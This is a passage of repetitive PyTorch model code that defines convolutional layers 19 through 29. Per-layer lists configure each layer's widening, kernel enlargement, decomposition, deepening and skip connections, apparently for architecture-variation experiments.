stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv19_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv19_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv19_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv19 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv19 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[19] == 1: self.conv19_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[19] == 1: self.conv19_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn19 = torch.nn.BatchNorm2d(params[1]) params = [32, 32, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[19] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[19] / 4) * 4) if self.widen_list[20] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[20] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[20] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[20]) params[3] = params[3] + 2* int(self.kerneladd_list[20]) params[6] = params[6] + int(self.kerneladd_list[20]) params[7] = params[7] + int(self.kerneladd_list[20]) if self.decompo_list != None: if self.decompo_list[20] == 1: self.conv20_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv20_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[20] == 2: self.conv20_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv20_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv20_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv20_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[20] == 3: self.conv20_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv20_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[20] == 4: self.conv20_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv20_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv20_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv20_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv20 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv20 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[20] == 1: self.conv20_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[20] == 1: self.conv20_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn20 = torch.nn.BatchNorm2d(params[1]) params = [32, 32, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[20] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[20] / 4) * 4) if self.widen_list[21] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[21] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[21] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[21]) params[3] = params[3] + 2* int(self.kerneladd_list[21]) params[6] = params[6] + int(self.kerneladd_list[21]) params[7] = params[7] + int(self.kerneladd_list[21]) if self.decompo_list != None: if self.decompo_list[21] == 1: self.conv21_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv21_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[21] == 2: self.conv21_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv21_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv21_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv21_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[21] == 3: self.conv21_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv21_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[21] == 4: self.conv21_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv21_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv21_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv21_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv21 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv21 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[21] == 1: self.conv21_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[21] == 1: self.conv21_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn21 = torch.nn.BatchNorm2d(params[1]) params = [32, 64, 3, 3, 2, 2, 1, 1] if self.widen_list != None: if self.widen_list[21] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[21] / 4) * 4) if self.widen_list[22] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[22] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[22] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[22]) params[3] = params[3] + 2* int(self.kerneladd_list[22]) params[6] = params[6] + int(self.kerneladd_list[22]) params[7] = params[7] + int(self.kerneladd_list[22]) if self.decompo_list != None: if self.decompo_list[22] == 1: self.conv22_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv22_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[22] == 2: self.conv22_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv22_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv22_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv22_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[22] == 3: self.conv22_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv22_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[22] == 4: self.conv22_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv22_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv22_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv22_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv22 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv22 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[22] == 1: self.conv22_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[22] == 1: self.conv22_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn22 = torch.nn.BatchNorm2d(params[1]) params = [64, 64, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[22] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[22] / 4) * 4) if self.widen_list[23] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[23] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[23] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[23]) params[3] = params[3] + 2* int(self.kerneladd_list[23]) params[6] = params[6] + int(self.kerneladd_list[23]) params[7] = params[7] + int(self.kerneladd_list[23]) if self.decompo_list != None: if self.decompo_list[23] == 1: self.conv23_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv23_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[23] == 2: self.conv23_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv23_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv23_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv23_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[23] == 3: self.conv23_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv23_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[23] == 4: self.conv23_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv23_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv23_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv23_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv23 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv23 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[23] == 1: self.conv23_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[23] == 1: self.conv23_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn23 = torch.nn.BatchNorm2d(params[1]) params = [32, 64, 1, 1, 2, 2, 0, 0] if self.widen_list != None: if self.widen_list[23] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[23] / 4) * 4) if self.widen_list[24] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[24] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[24] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[24]) params[3] = params[3] + 2* int(self.kerneladd_list[24]) params[6] = params[6] + int(self.kerneladd_list[24]) params[7] = params[7] + int(self.kerneladd_list[24]) if self.decompo_list != None: if self.decompo_list[24] == 1: self.conv24_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv24_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[24] == 2: self.conv24_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv24_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv24_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv24_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[24] == 3: self.conv24_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv24_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[24] == 4: self.conv24_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv24_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv24_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv24_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv24 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv24 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[24] == 1: self.conv24_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[24] == 1: self.conv24_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn24 = torch.nn.BatchNorm2d(params[1]) params = [64, 64, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[24] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[24] / 4) * 4) if self.widen_list[25] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[25] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[25] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[25]) params[3] = params[3] + 2* int(self.kerneladd_list[25]) params[6] = params[6] + int(self.kerneladd_list[25]) params[7] = params[7] + int(self.kerneladd_list[25]) if self.decompo_list != None: if self.decompo_list[25] == 1: self.conv25_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv25_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[25] == 2: self.conv25_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv25_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv25_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv25_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[25] == 3: self.conv25_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv25_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[25] == 4: self.conv25_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv25_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv25_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv25_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv25 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv25 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[25] == 1: self.conv25_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[25] == 1: self.conv25_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn25 = torch.nn.BatchNorm2d(params[1]) params = [64, 64, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[25] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[25] / 4) * 4) if self.widen_list[26] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[26] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[26] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[26]) params[3] = params[3] + 2* int(self.kerneladd_list[26]) params[6] = params[6] + int(self.kerneladd_list[26]) params[7] = params[7] + int(self.kerneladd_list[26]) if self.decompo_list != None: if self.decompo_list[26] == 1: self.conv26_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv26_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[26] == 2: self.conv26_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv26_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv26_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv26_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[26] == 3: self.conv26_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv26_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[26] == 4: self.conv26_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv26_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv26_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv26_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv26 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv26 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[26] == 1: self.conv26_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[26] == 1: self.conv26_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn26 = torch.nn.BatchNorm2d(params[1]) params = [64, 64, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[26] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[26] / 4) * 4) if self.widen_list[27] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[27] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[27] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[27]) params[3] = params[3] + 2* int(self.kerneladd_list[27]) params[6] = params[6] + int(self.kerneladd_list[27]) params[7] = params[7] + int(self.kerneladd_list[27]) if self.decompo_list != None: if self.decompo_list[27] == 1: self.conv27_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv27_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[27] == 2: self.conv27_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv27_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv27_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv27_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[27] == 3: self.conv27_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv27_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[27] == 4: self.conv27_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv27_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv27_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv27_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv27 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv27 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[27] == 1: self.conv27_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[27] == 1: self.conv27_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn27 = torch.nn.BatchNorm2d(params[1]) params = [64, 64, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[27] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[27] / 4) * 4) if self.widen_list[28] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[28] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[28] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[28]) params[3] = params[3] + 2* int(self.kerneladd_list[28]) params[6] = params[6] + int(self.kerneladd_list[28]) params[7] = params[7] + int(self.kerneladd_list[28]) if self.decompo_list != None: if self.decompo_list[28] == 1: self.conv28_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv28_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[28] == 2: self.conv28_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv28_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv28_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv28_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[28] == 3: self.conv28_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv28_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[28] == 4: self.conv28_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv28_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv28_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv28_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv28 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv28 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[28] == 1: self.conv28_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[28] == 1: self.conv28_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn28 = torch.nn.BatchNorm2d(params[1]) params = [64, 64, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[28] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[28] / 4) * 4) if self.widen_list[29] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[29] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[29] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[29]) params[3] = params[3] + 2* int(self.kerneladd_list[29]) params[6] = params[6] + int(self.kerneladd_list[29]) params[7] = params[7] + int(self.kerneladd_list[29]) if self.decompo_list != None: if self.decompo_list[29] == 1: self.conv29_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv29_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[29] == 2: self.conv29_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv29_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv29_2 = torch.nn.Conv2d(params[0], 